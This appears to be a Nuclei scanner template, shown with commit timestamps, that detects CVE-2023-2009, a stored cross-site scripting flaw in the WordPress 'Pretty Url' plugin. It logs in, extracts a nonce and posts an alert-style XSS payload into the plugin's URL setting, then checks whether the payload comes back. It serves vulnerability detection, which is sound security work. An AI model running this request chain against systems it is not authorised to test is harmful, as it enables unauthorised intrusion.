2023-10-17 07:20:28 +00:00
id : CVE-2023-2009
info :
name : Pretty Url <= 1.5.4 - Cross-Site Scripting
author : r3Y3r53
severity : medium
description : |
Plugin does not sanitize and escape the URL field in the plugin settings, which could allow high-privilege users to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).
reference :
- https://wpscan.com/vulnerability/f7988a18-ba9d-4ead-82c8-30ea8223846f
- https://nvd.nist.gov/vuln/detail/CVE-2023-2009
- https://wordpress.org/plugins/pretty-url/
2023-10-17 17:52:26 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
cvss-score : 4.8
cve-id : CVE-2023-2009
cwe-id : CWE-79
2023-10-18 16:26:30 +00:00
epss-score : 0.00078
2023-11-21 02:35:29 +00:00
epss-percentile : 0.33048
2023-10-17 17:52:26 +00:00
cpe : cpe:2.3:a:pretty_url_project:pretty_url:*:*:*:*:*:wordpress:*:*
2023-10-17 07:20:28 +00:00
metadata :
verified : true
max-request : 3
2023-10-17 17:52:26 +00:00
vendor : pretty_url_project
product : pretty_url
framework : wordpress
2023-10-17 07:20:28 +00:00
tags : cve,cve2023,wordpress,wpscan,wp-plugin,wp,authenticated,pretty-url,xss
http :
2023-10-17 08:16:05 +00:00
- raw :
2023-10-17 07:20:28 +00:00
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
2023-10-17 08:16:05 +00:00
log=((username))&pwd={{password}}&wp-submit=Log+In
2023-10-17 07:20:28 +00:00
- |
GET /wp-admin/admin.php?page=prettyurls HTTP/1.1
Host : {{Hostname}}
- |
POST /wp-admin/admin.php?page=prettyurls HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
_wpnonce={{nonce}}&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dprettyurls&id=&category=accordions%7Epost_type&url=%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E&meta_title=&meta_description=&meta_keyword=
redirects : true
cookie-reuse : true
matchers :
- type : dsl
dsl :
- 'status_code_3 == 200'
- 'contains(body_3, "<img src=x onerror=alert(document.domain)>")'
- 'contains(body_3, "prettyurls")'
condition : and
extractors :
- type : regex
internal : true
name : nonce
part : body
group : 1
regex :
2023-10-17 17:52:26 +00:00
- 'name="_wpnonce" value="([0-9a-z]+)" />'
2023-11-21 07:14:20 +00:00
# digest: 4a0a00473045022100c45b9b2a8f2eb2ee8632f508da25ab1089e1036fa9938ffcbf2e1f3a80b197b202206c971ad65455bd04db264e9b9acea09c119f64f7ac6cd3c5ddcbc77fcad42387:922c64590222798bb761d5b6d8e72950